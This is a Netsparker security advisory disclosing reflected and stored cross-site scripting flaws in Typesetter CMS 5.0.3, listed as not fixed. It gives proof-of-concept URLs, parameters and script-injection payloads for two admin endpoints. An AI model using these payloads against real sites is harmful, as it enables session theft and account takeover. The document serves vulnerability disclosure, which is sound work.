Advisory by Netsparker
Name: Reflected and Stored XSS Vulnerabilities in Typesetter CMS
Affected Software : Typesetter CMS
Affected Versions: 5.0.3
Vendor Homepage : 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-16-021

Technical Details

Proof of Concept URL for XSSes vulnerabilities in Typesetter CMS;

URL: http://{site}/{typesetter_path}/index.php/Admin_Theme_Content/Text?cmd=EditText&key='"--></style></scRipt><scRipt>alert(0x00C66A)</scRipt>
Parameter Name: key
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00C66A)</scRipt>

URL: http://{site}/{typesetter_path}/index.php/Admin/Extra
Parameter Name: type
Parameter Type: POST
Attack Pattern: <img src=x onerror=alert(21)>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
04 Aug 2016 - Issue reported
20 Dec 2016 - Advisory released


Credits & Authors
This issues has been discovered by Omer Citak while testing Netsparker Web Application Security Scanner.

About Netsparker
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website for more information.